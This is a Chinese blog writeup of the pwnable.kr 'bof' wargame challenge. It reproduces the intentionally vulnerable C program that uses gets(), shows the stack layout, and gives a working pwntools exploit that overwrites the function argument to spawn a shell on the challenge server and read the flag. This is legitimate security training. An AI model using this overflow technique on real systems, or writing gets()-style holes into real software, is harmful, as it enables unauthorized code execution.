Pwnable.kr bof [Writeup]

原创

c01dkit 于 2021-03-02 22:54:36 发布 86 收藏

分类专栏： pwn 文章标签： pwn

更多writeup将更新于个人博客，随缘同步到CSDN，如有需要，请移步此处

题源

https://pwnable.kr/play.php

> Nana told me that buffer overflow is one of the most common software vulnerability.
> Is that true?
> Download : http://pwnable.kr/bin/bof
> Download : http://pwnable.kr/bin/bof.c
> Running at : nc pwnable.kr 9000

题解

Pwnable的第三道题，很简单、很基础、很常见的一道栈溢出题目。源码直接给出：

```
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
 char overflowme[32];
 printf("overflow me : ");
 gets(overflowme); // smash me!
 if(key == 0xcafebabe){
  system("/bin/sh");
 }
 else{
  printf("Nah..\n");
 }
}
int main(int argc, char* argv[]){
 func(0xdeadbeef);
 return 0;
}
```

gets函数是标准的漏洞函数，因为其没有检测数组是否越界，因此当输入的字符串超过overflowme的32chars限定时，其余的字符将会继续向上覆写栈。

下载bof文件，先checksec一下：

```
kali@kali:~/Desktop$ checksec bof
[*] '/home/kali/Desktop/bof'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

基本上开启了各种保护机制。

直接拖到IDA查看func的函数栈：

```
-0000002C s               db 32 dup(?)
-0000000C var_C           dd ?
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008 arg_0           dd ?
```


可以看出，当输入字符串超过32chars后，其余的字符将依次覆盖var_C（即canary）、s（即ebp）、r（即return address）、arg_0（即传入的参数）。则payload应为2C+8=52字符的padding+p32(0xcafebabe)。

```python
from pwn import *
context(arch='i386',os='linux')

io = remote('pwnable.kr',9000)

payload = 14*p32(0xcafebabe) # 这里懒省事，直接全填cafebabe了

io.sendline(payload)
io.interactive()
```

执行结果：

```
kali@kali:~/Desktop$ python3 bof_pwn.py
[+] Opening connection to pwnable.kr on port 9000: Done
[*] Switching to interactive mode
$ cat flag
daddy, I just pwned a buFFer :)
$
```

总结

在第一次做时，没有考虑到canary，使用了32+8=40chars的padding。后来checksec一看有canary，就又加了4chars的padding，但还是不行；最后问了同学，放IDA一看，它的canary后面又跟了8个padding（猜想可能是对齐？）最后用52可以的。

懒省事的做法可以全填p32(0xcafebabe)，也不一定非要填14（13*4+4）个，也可以是15、16、17……个（但是失去了严谨了乐趣？）

THNKS TO `Be33eD` XD